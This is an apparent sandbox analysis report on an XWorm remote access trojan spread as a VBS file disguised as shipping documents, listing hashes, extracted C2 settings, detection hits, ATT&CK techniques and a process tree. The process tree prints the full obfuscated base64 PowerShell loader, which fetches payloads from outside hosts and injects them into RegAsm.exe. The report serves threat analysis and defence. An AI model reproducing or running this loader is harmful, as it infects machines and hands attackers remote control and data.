xworm | 968cbd067c814ed1bc9a433a26114cc1b7bdc32a3780dd599032075f3ba2bc2a

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/02/2026, 00:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
original_draft_bl_shipping_documents_docx.vbs
Size 13KB
Sample260209-agcc8afs4d
SHA256 968cbd067c814ed1bc9a433a26114cc1b7bdc32a3780dd599032075f3ba2bc2a
MD5 3051104f210e5d7009b70a3fd23cfd3d
SHA1 bc6835fdf65915593b0e8c52c09ec2e4a6e2e5b7
SHA512 d8ec8b993e497a49d15c71720451d089249bd13dfab13c0f166b9d0493f33bc7a68873a888dc6613bc152b931ff5b14de3170b0d5397d3876a44a1c021dfa44e
SSDEEP 384:K31dfQ0r8roAbw0OzBvhuVH21c3caSsldD:K34IB8zll
TLSH
T14852A22A8919EFF00E2E3291A55F681A39510365A934392D7C4FD5EE3B37A40CFE14AD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

allwheelwealth.duckdns.org:3025

Mutex

Hh1l763lXmvSEsjc

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/memory/3264-28-0x0000013C6CE20000-0x0000013C6CE30000-memory.dmp	family_xworm
behavioral1/memory/3264-26-0x0000013C6CE20000-0x0000013C6CE30000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
21	976	powershell.exe
23	976	powershell.exe
27	976	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-312252282-3884318443-358092420-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
976	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 976 set thread context of 3264	976	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2996	WScript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
976	powershell.exe
976	powershell.exe
976	powershell.exe
3264	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	976	powershell.exe
Token: SeDebugPrivilege	3264	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3264	RegAsm.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 976	2996	WScript.exe	87
PID 976 wrote to memory of 3840	976	powershell.exe	92
PID 3840 wrote to memory of 868	3840	csc.exe	95
PID 976 wrote to memory of 3264	976	powershell.exe	101
PID 976 wrote to memory of 3264	976	powershell.exe	101
PID 976 wrote to memory of 3264	976	powershell.exe	101
PID 976 wrote to memory of 3264	976	powershell.exe	101
PID 976 wrote to memory of 3264	976	powershell.exe	101
PID 976 wrote to memory of 3264	976	powershell.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\original_draft_bl_shipping_documents_docx.vbs"
1⤵
- Checks computer location settings
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwAzAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAFoAVwBaAHMAWgBXAE4AMABhAFcAOQB1AE8AMwBCADEAWQBtAHgAcABZAHkAQgBqAGIARwBGAHoAYwB5AEIARQBiADIAMQBoAGEAVwA1AE0AYgAyAEYAawBaAFgASgA3AGMASABWAGkAYgBHAGwAagBJAEgATgAwAFkAWABSAHAAWQB5AEIAQgBjADMATgBsAGIAVwBKAHMAZQBTAEIATQBiADIARgBf#AFEAWABOAHoAWgBXADEAaQBiAEgAawBvAFkAbgBsADAAWgBWAHQAZABJAEcARQBwAGUAMwBKAGwAZABIAFYAeQBiAGkAQgBCAGMASABCAEUAYgAyADEAaABhAFcANAB1AFEAMwBWAHkAYwBtAFYAdQBkAEUAUgB2AGIAVwBGAHAAYgBpADUATQBiADIARgBf#AEsARwBFAHAATwAzADEAOQAnAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiADYANAApACkAKQANAAoAZgB1AG4AYwB0AGkAbwBuACAAZAAoACQAbAApAHsAJAB3AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAkAGwAIAAtAEMAbwB1AG4AdAAgACQAbAAuAEMAbwB1AG4AdAApAHwAJQB7AHQAcgB5AHsAcgBlAHQAdQByAG4AIAAkAHcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAXwApAH0AYwBhAHQAYwBoAHsAfQB9AH0ADQAKAGYAdQBuAGMAdABpAG8AbgAgAGkAKAAkAGEALAAkAHQALAAkAG0ALAAkAHAAPQBAACgAKQApAHsAJAB5AD0AWwBEAG8AbQBhAGkAbgBMAG8AYQBkAGUAcgBdADoAOgBMAG8AYQBkAEEAcwBzAGUAbQBiAGwAeQAoACQAYQApADsAJAByAD0AJAB5AC4ARwBlAHQAVAB5AHAAZQBzACgAKQB8AD8AewAkAF8ALgBGAHUAbABsAE4AYQBtAGUAIAAtAGUAcQAgACQAdAB9ADsAJABuAD0AJAByAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0ALAAoAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEIAaQBuAGQAaQBuAGcARgBsAGEAZwBzAF0AJwBQAHUAYgBsAGkAYwAsAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApACkAOwAkAG8APQBpAGYAKAAhACQAbgAuAEkAcwBTAHQAYQB0AGkAYwApAHsAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAHIAKQB9ADsAJABuAC4ASQBuAHYAbwBf#AGUAKAAkAG8ALAAkAHAAKQB9AA0ACgANAAoAJABf#AD0AQAAoACgAJwBoAHQAdABwAHMAOgAvAC8AZgBpAHIAZQBiAGEAcwBlAHMAdABvAHIAYQBnAGUALgBnAG8AbwBnAGwAZQBhAHAAaQBzAC4AYwBvAG0ALwB2ADAALwBiAC8AcgBlAG0AYQBzAGQALQA2AGMANwAwADIALgBmAGkAcgBlAGIAYQBzAGUAcwB0AG8AcgBhAGcAZQAuAGEAcABwAC8AbwAvAGYAcgBvAHMAdAAlADIARgBwAGkAYwAyAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBf#AGUAbgA9ADUAOAA5AGYAOQA1ADYAZQAtAGQAMAAxADkALQA0ADQANwAyAC0AYQAwADAAMAAtADIAOQBmADgAZQBiADIAMAAzADQAOAA5ACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AYQB1ADcAMgBuAHUAeAB6AHYAMgAuAHUAZgBzAC4AcwBoAC8AZgAvADQATABoAFYANQBCADEAcwBEAEMAdwBJAEsANwBVAEEAQQBpAHYAOQB6AFQAcgBMAFYAYwBJAEQARwBSAEEAdABRAFAANwBTAE8AMABIAFkAQwBaAEUAWAA2AFUAMQA4ACcAKQApAA0ACgBpAGYAKAAoACQAZwA9AGQAIAAkAGsAKQAtAGEAbgBkACgAJAB0AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZwApACkALQBtAGEAdABjAGgAJwA8ADwAQgBBAFMAJwAgACsAIAAnAEUANgA0AF8AUwBUAEEAUgBUAD4APgAoAC4AKgA/ACkAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACAAJwByAHUAbgBzAHMAJwAgAEAAKAAnAHQAeAB0AC4AbwBkAEYAcABkAGUAcgAvAHMAZwBuAGkAcwBzAGUAbABiAC8AcgBiAC4AbQBvAGMALgBzAG4AYQByAHQAaQBzAGUAcgAvAC8AOgBzACcALAAgACcAMAAnACwAIAAnACcALAAgACcAUgBlAGcAQQBzAG0AJwAsACAAJwAwACcAIAAsACAAJwB4ADYANAAnACkADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzAHwAcwBvAHIAdAAgAEMAUABVACAALQBkAGUAcwBjAHwAcwBlAGwAZQBjAHQAIAAtAGYAaQByAHMAdAAgADUAfABmAHQAIABOAGEAbQBlACwAQwBQAFUAIAB9AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAA=';iex ([system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('f#','r') )));
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:976
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\swk2gave\swk2gave.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3D33.tmp" "c:\Users\Admin\AppData\Local\Temp\swk2gave\CSC554CCC5331D549D8AD2C4FEED06BCF62.TMP"
      4⤵
      PID:868
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES3D33.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3D33.tmp
Size 1KB
SHA256 a428b74db350984e8868c314a437f5427b54ed6e468fdd07134bb44d6d213c19
MD5 cd619cd3d0091989975dffb6c712396c
SHA1 b9e16c1560264f792d9c5dfaf0bbaa8d054383f3
SHA512 931b3f57561a585ee91a2dd8de545527c72e3f9c9e1fe9fedb78b720b3f1934dc18348d8c666e432745488633d05cbef02c992c9d7f52be2da7b119e6d01a38b
TLSH
T1D021890A93E84B1EF0774B3179F6172FA274FDA4EFA2939F8540422C1C51504EEA1EB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3n5rcwyy.lnw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3n5rcwyy.lnw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

swk2gave.dll

Path C:\Users\Admin\AppData\Local\Temp\swk2gave\swk2gave.dll
Size 3KB
SHA256 4df9ff06f2e5f7b62cbcf5d30f52986944e432ac796d0238de61c0e689d37a07
MD5 03c7dcdafa941070ac03eb77241d7f02
SHA1 2f9b24a8733a9cde13b61f52e23e78cd75d49aac
SHA512 34e52966e0fb1614e6a8565bf0c681856ef204d70e171fd765d75790edbbe0516ad393a296f644ef5d6d68acfa8e623e0660951e2ab2f838714c5cbf7fd0f25b
TLSH
T1E351DE1A63E8422BE0B70B34BEF387133774F9509FB2836D59801229AC607646E31FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSC554CCC5331D549D8AD2C4FEED06BCF62.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\swk2gave\CSC554CCC5331D549D8AD2C4FEED06BCF62.TMP
Size 652B
SHA256 c6ce86e0dece6b053c7baf77d03351bf5828998bcac9117fcca98342ae6a2fe5
MD5 c224f141631f83501217dc4ff6abf755
SHA1 706991bcfb3c8834d00f1b02b71b270fb8c94828
SHA512 2ad2e49ec168c04ecd5aaac703a267f324c4f80157fef7c9d164d36609b06f92f8e0eede393d34655fefdcb7550ecf03595ffa456488bba8fb5428879f21c65b
TLSH
T1CEF05E0A63F8420EF0F34B30BDF6436391A8BC65DE7293ED5480031968645109972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

swk2gave.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\swk2gave\swk2gave.0.cs
Size 153B
SHA256 96cd128f981271bf1086c767b1d809a55b680fd10f4c959aaedca91240dbb634
MD5 e60b26590cee7552cb218bbb60f0f1ea
SHA1 eea3f71c9c75ca2cb6b7a5fdf766915a777dd0a6
SHA512 0c7d7aa5c11771ccba9d292b447268e07daea831b61326aa5eed1c05c6df667de0d59447b368f4478dec75b6fa638568328c11ecd2474b0e0c9a982ab7fecaf6
TLSH
T19CC08C443301F3300B92894B3D03FC0B233EF32142A9E404E4A80507DE19060F638D2E
MD5 SHA1 SHA512 TLSH

Submit Download

swk2gave.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\swk2gave\swk2gave.cmdline
Size 369B
SHA256 ccc310162e5eb8931620bae560e345568dd49d60a1cf03e9ebf30da320aa41da
MD5 dfeec4680a6f591c2f74659c2e6bc8a9
SHA1 2b1208d7c4170c945cd4241ef5ec624c5c1e4e9d
SHA512 30854e93f2612266c82172c0159207224bd8f402290695247020b587d5dbb9a072342170e3fc2033ddb76550651c6f051417f1ee3c4bafcd3f6139fd751adfd1
TLSH
T1EAE0202A5356C6BE15FD141731A9C9ACC27217472F417FC47370586DF0A740467E1797
MD5 SHA1 SHA512 TLSH

Submit Download

memory/976-0-0x0000025A14F80000-0x0000025A14F90000-memory.dmp

Download

memory/976-2-0x0000025A2F710000-0x0000025A2F732000-memory.dmp

Download

memory/976-1-0x0000025A14F80000-0x0000025A14F90000-memory.dmp

Download

memory/976-22-0x0000025A2F700000-0x0000025A2F708000-memory.dmp

Download

memory/976-23-0x0000025A14F80000-0x0000025A14F90000-memory.dmp

Download

memory/976-24-0x0000025A14F80000-0x0000025A14F90000-memory.dmp

Download

memory/976-25-0x0000025A14FA0000-0x0000025A14FBA000-memory.dmp

Download

memory/3264-28-0x0000013C6CE20000-0x0000013C6CE30000-memory.dmp

Download

memory/3264-26-0x0000013C6CE20000-0x0000013C6CE30000-memory.dmp

Download